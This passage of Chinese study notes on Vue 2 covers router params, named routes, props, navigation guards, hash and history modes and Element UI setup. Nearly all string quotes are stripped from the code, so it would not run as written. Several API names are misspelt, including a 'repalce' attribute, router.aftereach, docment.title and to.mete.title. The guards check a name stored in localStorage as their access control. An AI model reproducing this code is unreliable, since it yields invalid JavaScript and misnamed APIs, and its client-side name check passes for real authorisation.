title:m.title } }"> {{m.title}} </router-link> </li> </ul> <hr> <router-view></router-view> </div> </template> <script> export default { name:MessageRouter, data() { return { messageList:[ {id:001,title:消息001}, {id:002,title:消息002}, {id:003,title:消息003} ] } }, } </script> <style> </style> //detail.vue <template> <ul> <li>消息编号：{{$route.query.id}}</li> <li>消息标题：{{$route.query.title}}</li> </ul> </template> <script> export default { name:DetailRouter, } </script> <style> </style>

62.路由的params参数

1.配置路由，声明params参数 { path:/home, // 二级路由 component:homeRouter, children:[ { path:news, component:News, }, { path:message, component:Message, children:[ { name:xijie, path:detail/:id/:title,//使用占位符声明接收params参数 component:DetailRouter } ] } ] } 2.传递参数  <router-link :to="/home/message/detai/666/你好">跳转</router-link>  <router-link :to="{ name:xijie, params:{ id:666, title:你好 } }">跳转</router-link> 3.特别注意：路由携带params参数时，若使用to的对象写法，则不能使用path配置项，必须使用name配置 4.接收参数: $route.params.id $route.para //router的index.js detail相关部分 { path:message, component:Message, children:[ { name:xijie, path:detail/:id/:title,//node.js的占位符，为params准备 component:DetailRouter } ] } //detailRouter.vue <template> <ul> <li>消息编号：{{$route.params.id}}</li> <li>消息标题：{{$route.params.title}}</li> </ul> </template> <script> export default { name:DetailRouter, } </script> <style> </style> //messageRouter.vue传参部分 <li v-for="m in messageList" :key="m.id">    <router-link :to="{ name:xijie, params:{ id:m.id, title:m.title } }"> {{m.title}} </router-link> </li>

64.命名路由

1.作用：可以简化路由的跳转 2.如何使用 2.1给路由命名： { path:message, component:Message, children:[ { name:xijie,//给路由命名 path:detail, component:DetailRouter } ] } 2.2简化跳转：简化前，需要写完整的路径简化后，直接通过名字跳转未路由命名的跳转 <router-link :to="{ path:/home/message/detail, query:{ id:m.id, title:m.title } }"> {{m.title}} </router-link> 路由命名后的跳转 <router-link :to="{ name:xijie, query:{ id:m.id, title:m.title } }"> {{m.title}} </router-link>

65.路由的props配置

作用：让路由组件更方便的收到参数，在index.js中配置 1.第一种写法：props值为对象 2.第二种写法：props值为布尔值，布尔值为true ，就把路由器收到的params参数传给组件 3.第三种写法：props值为函数，返回对象每一组key-value都会传给组件 //detailRouter.vue <template> <ul> <li>消息编号：{{id}}</li> <li>消息标题：{{title}}</li> </ul> </template> <script> export default { name:DetailRouter, props:[id,title] } </script> <style> </style> //router文件夹下的index.js部分 children:[ { name:xijie, path:detail/:id/:title,//使用占位符声明接收params参数 component:DetailRouter, // props的第一种写法，值为对象，该对象中的所有key-value都会以props的形式传给detail // props:{a:1,b:hello} // props的第二种写法，值为布尔值，若布尔值为真，就会把该路由组件收到的所有params参数，以props的形式传递给detail组件 // props:true // props的第三种写法，值为函数 props($route){ return {id:$route.params.id,title:$route.params.title} } } ]

66.router-link的repalce属性

1.作用：控制路由跳转时操作浏览器历史记录的模式

2.浏览器的历史记录有两种写入模式：分别为replace和push ，push是追加历史记录，replace是替换当前记录，路由器跳转时候默认为push

3.如何开启replace模式：

<router-link repalce .....>NewS</router-link>

67.编程式路由导航

1.作用不借助<router-link>实现路由跳转，让路由器跳转更加灵活 2.具体编码 //$router的两个Api this.$router.push({ name:xiangqi, params:{ id:xxx title:xxx } }) this.router.repalce({ name:xiangqi, params:{ id:xxx, title:xxx } }) this.$router.forward(),浏览器跳转前进 this.$router.back() ，浏览器跳转后退 this.$router.go(参数：正负数字)，可前进指定步数，也可以后退指定步数 //app.vue <template> <div class="all"> <div class="page-header"> <h2>Vue Router Demo</h2> <button @click="back">后退</button> <button @click="forward">前进</button> <button @click="go">前进三步</button> </div> <div class="page-body"> <div class="row"> <div class="list-group">     <router-link to="/about" >About</router-link> <router-link to="/home" >Home</router-link> </div> </div> <div class="panel">  <router-view></router-view> </div> </div> </div> </template> <script> export default({ name:App, methods: { back(){ this.$router.back() }, forward(){ this.$router.forward() }, go(){ this.$router.go(3) } }, }) </script> <style scoped> a{ text-decoration: none; } .list-group a{ display: block; width: 100px; border: 2px solid gray; } a:hover{ background-color: skyblue; } .page-body{ display: flex; } </style> <template> <div> <ul>  <li v-for="m in messageList" :key="m.id">   <router-link :to="{ name:xijie, params:{ id:m.id, title:m.title } }"> {{m.title}} </router-link> <button @click="pushShow(m)">push查看</button> <button @click="replaceShow(m)">replace查看</button> </li> </ul> <hr> <router-view></router-view> </div> </template> <script> export default { name:MessageRouter, data() { return { messageList:[ {id:001,title:消息001}, {id:002,title:消息002}, {id:003,title:消息003} ] } }, methods: { pushShow(m){ this.$router.push({ name:xijie, params:{ id:m.id, title:m.title } }) }, replaceShow(m){ this.$router.replace({ name:xijie, params:{ id:m.id, title:m.title } }) } } } </script> <style> </style>

68.缓存路由组件

1.作用:让不展示的路由组件保存挂载，不被销毁 2.具体编码： 2.1适用于缓存一个路由组件 <keep-alive include=欲保存的组件名> <router-view></router-view> </keep-alive> 2.2缓存多个路由组件 <keep-alive :include="[News,Message]"> //homeRouter.vue <template> <div> <h3>我是home的内容</h3> <div> <ul class="nav-tabs"> <li> <router-link to="/home/news">News</router-link> </li> <li> <router-link to="/home/message">Message</router-link> </li> </ul> <keep-alive include="newsRouter"> <router-view></router-view> </keep-alive> </div> </div> </template> <script> export default { name:homeRouter, } </script> <style> </style> //NewsROuter.vue <template> <div> <ul> <li> <a href="">New001</a> <input type="text"> </li> <li> <a href="">New002</a> <input type="text"> </li> <li> <a href="">New003</a> <input type="text"> </li> </ul> </div> </template> <script> export default { name:newsRouter, beforeDestroy(){ console.log("newsRouter组件即将被销毁了") } } </script> <style> </style>

69.路由组件的特有生命周期钩子

1.作用：路由组件所独有的两个钩子，用于捕获路由组件的激活状态 2.具体名字： 2.1 acivated路由组件被激活时触发 2.2 deactvated路由组件失活时触发注意：activated()和deactivated()只有所在组件在<keep-alive></keep-alive>包裹的时候才有效； //NewRouter.vue <template> <div> <ul> <li :style="{opacity}">欢迎学习Vue</li> <li> <a href="">New001</a> <input type="text"> </li> <li> <a href="">New002</a> <input type="text"> </li> <li> <a href="">New003</a> <input type="text"> </li> </ul> </div> </template> <script> export default { name:newsRouter, data() { return { opacity:1 } }, activated() { console.log(News组件被激活了) this.timer=setInterval(()=>{ this.opacity-=0.01 if(this.opacity<=0) this.opacity=1 },16) }, deactivated(){ console.log("newsRouter组件即将被销毁了") clearInterval(this.timer) } } </script> <style> </style>

70.全局前置–路由守卫

//在router文件夹下的index.js配置 //该文件专门用于创建整个应用的路由器 import VueRouter from "vue-router" import homeRouter from ../page/homeRouter import AboutRouter from ../page/aboutRouter import News from ../page/NewsRouter import Message from ../page/MessageRouter import DetailRouter from ../page/DetailRouter; // 创建并暴露一个路由器 const router = new VueRouter({ routes: [ { name:guanyu, path:/about, component:AboutRouter }, { name:zhuye, path:/home, // 二级路由 component:homeRouter, children:[ { name:xiaoxi, path:news, component:News, }, { path:message, component:Message, children:[ { name:xijie, path:detail/:id/:title,//使用占位符声明接收params参数 component:DetailRouter, // props的第一种写法，值为对象，该对象中的所有key-value都会以props的形式传给detail // props:{a:1,b:hello} // props的第二种写法，值为布尔值，若布尔值为真，就会把该路由组件收到的所有params参数，以props的形式传递给detail组件 // props:true // props的第三种写法，值为函数 props($route){ return {id:$route.params.id,title:$route.params.title} } } ] } ] } ] }) //全局前置路由守卫--初始化的时候被调用，每次路由切换之前被调用 router.beforeEach((to,from,next)=>{ console.log(to,from) if(to.path===/home/news||to.path===/home/message){ if(localStorage.getItem(name)===tom){ next() } else{ alert(姓名不对，无权限查看) } } else{ next() } }) export default router

（前置条件,只有name=tom’的才可以查看message和news）

(姓名为‘tom1’时的效果)

（姓名为‘tom’时的效果）

71.全局后置–路由守卫

//router文件夹中的index配置 //该文件专门用于创建整个应用的路由器 import VueRouter from "vue-router" import homeRouter from ../page/homeRouter import AboutRouter from ../page/aboutRouter import News from ../page/NewsRouter import Message from ../page/MessageRouter import DetailRouter from ../page/DetailRouter; // 创建并暴露一个路由器 const router = new VueRouter({ routes: [ { name:guanyu, path:/about, component:AboutRouter, meta:{title:about} }, { name:zhuye, path:/home, // 二级路由 component:homeRouter, meta:{title:home}, children:[ { name:xiaoxi, path:news, component:News, // 是否需要校验 meta:{isAuth:true,title:news} }, { path:message, component:Message, meta:{isAuth:true,title:"message"}, children:[ { name:xijie, path:detail/:id/:title,//使用占位符声明接收params参数 component:DetailRouter, meta:{title:detail}, // props的第一种写法，值为对象，该对象中的所有key-value都会以props的形式传给detail // props:{a:1,b:hello} // props的第二种写法，值为布尔值，若布尔值为真，就会把该路由组件收到的所有params参数，以props的形式传递给detail组件 // props:true // props的第三种写法，值为函数 props($route){ return {id:$route.params.id,title:$route.params.title} } } ] } ] } ] }) //全局前置路由守卫--初始化的时候被调用，每次路由切换之前被调用 router.beforeEach((to,from,next)=>{ console.log(to,from) if(to.meta.isAuth){ if(localStorage.getItem(name)===tom){ next() } else{ alert(姓名不对，无权限查看) } } else{ next() } }) // 全局后置守卫--初始化的时候被调用，每次路由切换之后被调用 router.afterEach((to,from)=>{ console.log(后置路由守卫,to,from) document.title=to.meta.title || 新闻主页 }) export default router

（页面的title变化）

72.路由守卫总结

1.作用：对路由进行权限控制 2.分类全局守卫，独享守卫，组件内守卫 3.全局守卫 //全局前置守卫，初始化时执行，每次路由器切换前执行 router.beforeEach((to,from,next)=>{ if(to.meta.isAuth){//判断当前路由是否需要进行权限控制 if(localStorage.getItem(school===atguigu)){//权限控制的具体规则 next()//放行 } else{ alert(暂无权限查看) } } else{ next()//放行 } }) //权限后置守卫，初始化时执行，每次路由切换后执行 router.aftereach((to,from)=>{ if(to.meta.title){ docment.title=to.mete.title//修改网页的title } else{ docment.title=vue_test } })

73.独享路由守卫

独享守卫(只有前向) beforeEnter(to,from,next){ if(to.meta.isAuth){//判断当前路由是否需要进行权限控制 if(localStorage.getItem(name)===tom){//权限控制的具体规则 next()//放行 } else{ alert(暂无权限查看) } } else{ next()//放行 } } } //router中的index.js //该文件专门用于创建整个应用的路由器 import VueRouter from "vue-router" import homeRouter from ../page/homeRouter import AboutRouter from ../page/aboutRouter import News from ../page/NewsRouter import Message from ../page/MessageRouter import DetailRouter from ../page/DetailRouter; // 创建并暴露一个路由器 const router = new VueRouter({ routes: [ { name:guanyu, path:/about, component:AboutRouter, meta:{title:about} }, { name:zhuye, path:/home, // 二级路由 component:homeRouter, meta:{title:home}, children:[ { name:xiaoxi, path:news, component:News, meta:{isAuth:true,title:news}, beforeEnter: (to, from, next) => { // if(to.meta.isAuth){//判断当前路由是否需要进行权限控制 if(localStorage.getItem(name)===tom){//权限控制的具体规则 next()//放行 } else{ alert(暂无权限查看) } } else{ next()//放行 } } }, { path:message, component:Message, meta:{isAuth:true,title:"message"}, children:[ { name:xijie, path:detail/:id/:title, component:DetailRouter, meta:{title:detail}, props($route){ return {id:$route.params.id,title:$route.params.title} } } ] } ] } ] }) router.afterEach((to,from)=>{ console.log(后置路由守卫,to,from) document.title=to.meta.title || 新闻主页 }) export default router

(只对news组件进行‘name’检验，不通过就不展示)

74.组件内路由守卫

//进入组件，通过路由规则，进入该组件时被调用 beforeRouterEnter(to,from,next){}, //离开守卫,通过路由规则，离开该组件时被调用 beforeRouterLeave(to,from,next){} //aboutROuter.vue <template> <div> <h3>我是about的内容</h3> </div> </template> <script> export default { name:aboutRouter, // 通过路由规则，进入该组件时被调用 beforeRouteEnter(to,from,next){ if(to.meta.isAuth){ if(localStorage.getItem(name)===tom){//权限控制的具体规则 next()//放行 } else{ alert(暂无权限查看) } } else{ next()//放行 } }, //通过路由规则，离开该组件时被调用 beforeRouteLeave(to,from,next){ console.log(About--beforeRouterLeave,to,from) next() } } </script> <style> </style>

(在组件内实现)

75.路由的两种模式

1.对于一个url来说，什么是hash值-----#及其后面的内容就是hash值 2.hash值不会包含在http请求中，即hash值不会给服务器。 3.hash模式: 3.1地址中永远带着#号，不美观 3.2若以后将地址通过第三方手机app分析，若app校验严格，则地址会被标记不合法 3.3兼容性较好 4.history模式 4.1地址感觉，美观 4.2兼容性和hash模式相比略差 4.3应用部署上线时需要后端人员支持，解决刷新页面服务端404的问题

1.采用mode:‘hash’

//vue.config.js module.exports={ pages:{ index:{ // 入口 entry:src/main.js, }, }, publicPath: ./, lintOnSave:false, //关闭语法检测 // 开启代理服务器(方式2) devServer:{ proxy:{ /next:{ target:"http://localhost:8000", pathRewrite:{^/next:} }, /demo:{ target:http://localhost:8001, pathRewrite:{^/demo:}, ws:true,//用于支持websocket changeOrigin:true,//用于控制请求头中的host值 } } }, } //router的index.js //该文件专门用于创建整个应用的路由器 import VueRouter from "vue-router" import homeRouter from ../page/homeRouter import AboutRouter from ../page/aboutRouter import News from ../page/NewsRouter import Message from ../page/MessageRouter import DetailRouter from ../page/DetailRouter; // 创建并暴露一个路由器 const router = new VueRouter({ mode:"hash", routes: [ { name:guanyu, path:/about, component:AboutRouter, meta:{title:about,isAuth:true} }, { name:zhuye, path:/home, // 二级路由 component:homeRouter, meta:{title:home}, children:[ { name:xiaoxi, path:news, component:News, meta:{isAuth:true,title:news}, }, { path:message, component:Message, meta:{isAuth:true,title:"message"}, children:[ { name:xijie, path:detail/:id/:title, component:DetailRouter, meta:{title:detail}, props($route){ return {id:$route.params.id,title:$route.params.title} } } ] } ] } ] }) export default router

(使用npm run build得到的包)

//服务器server.js const express=require(express) const app=express() app.use(express.static(__dirname+/static)) app.get(/person,(req,res)=>{ res.send({ name:Tom, age:18 }) }) app.listen(5005,(err)=>{ if(!err) console.log(服务器启动成功) })

(上线部署服务的资源)

(可以随意刷新)

2.使用mode:‘histroy’

//vue.config.js module.exports={ pages:{ index:{ // 入口 entry:src/main.js, }, }, publicPath: ./, lintOnSave:false, //关闭语法检测 // 开启代理服务器(方式2) devServer:{ proxy:{ /next:{ target:"http://localhost:8000", pathRewrite:{^/next:} }, /demo:{ target:http://localhost:8001, pathRewrite:{^/demo:}, ws:true,//用于支持websocket changeOrigin:true,//用于控制请求头中的host值 } } }, } //router中的index.js //该文件专门用于创建整个应用的路由器 import VueRouter from "vue-router" import homeRouter from ../page/homeRouter import AboutRouter from ../page/aboutRouter import News from ../page/NewsRouter import Message from ../page/MessageRouter import DetailRouter from ../page/DetailRouter; // 创建并暴露一个路由器 const router = new VueRouter({ mode:"history", routes: [ { name:guanyu, path:/about, component:AboutRouter, meta:{title:about,isAuth:true} }, { name:zhuye, path:/home, // 二级路由 component:homeRouter, meta:{title:home}, children:[ { name:xiaoxi, path:news, component:News, meta:{isAuth:true,title:news}, }, { path:message, component:Message, meta:{isAuth:true,title:"message"}, children:[ { name:xijie, path:detail/:id/:title, component:DetailRouter, meta:{title:detail}, props($route){ return {id:$route.params.id,title:$route.params.title} } } ] } ] } ] }) export default router //server.js 需要提前安装npm i connect-history-api-fallback const express=require(express) var history = require(connect-history-api-fallback) const app=express() app.use(history()) app.use(express.static(__dirname+/static)) app.get(/person,(req,res)=>{ res.send({ name:Tom, age:18 }) }) app.listen(5005,(err)=>{ if(!err) console.log(服务器启动成功) })

（地址栏无‘/#/’）

76.element-ui基本使用

Vue UI组件库移动端常用组件库 1.Vant 2.Cube UI 3.Mint UI PC端常用UI组件库 1.Element UI 2.IWiew UI //main.js import Vue from vue import App from ./app.vue //引入ElementUI组件库 import ElementUI from element-ui // 映入ElementUI全部样式 import element-ui/lib/theme-chalk/index.css // 关闭Vue的生产提示 Vue.config.productionTip = false // 应用ELementUI Vue.use(ElementUI) new Vue({ render: h => h(App), beforeCreate(){ Vue.prototype.$bus=this } }).$mount(#app) //app.vue <template> <div> <button>原生的按钮</button> <input type="text" /> <el-row> <el-button type="danger">Default</el-button> <el-button type="primary">Primary</el-button> <el-button type="success">Success</el-button> <el-button type="info">Info</el-button> <el-button type="warning">Warning</el-button> <el-button type="danger">Danger</el-button> <el-button>中文</el-button> </el-row> </div> </template> <script> export default { name: "App", }; </script> <style scoped> </style>

(全部引入版)

77.element-ui按需引入

ui库的变化要查找官方文档来写，并 //main.js import Vue from vue import App from ./app.vue //按需引入 import {Button,Row} from "element-ui" // 关闭Vue的生产提示 Vue.config.productionTip = false Vue.component(el-button,Button); Vue.component(el-row,Row) new Vue({ render: h => h(App), beforeCreate(){ Vue.prototype.$bus=this } }).$mount(#app) //babel.js module.exports = { presets: [ @vue/cli-plugin-babel/preset, ["@babel/preset-env",{"modules":false}] ], plugins:[ [ "component", { "libraryName":element-ui, "styleLibraryName":"theme-chalk" } ] ] } //app.vue <template> <div> <button>原生的按钮</button> <input type="text" /> <el-row> <el-button type="danger">Default</el-button> <el-button type="primary">Primary</el-button> <el-button type="success">Success</el-button> <el-button type="info">Info</el-button> <el-button type="warning">Warning</el-button> <el-button type="danger">Danger</el-button> <el-button>中文</el-button> </el-row> </div> </template> <script> export default { name: "App", }; </script> <style scoped> </style>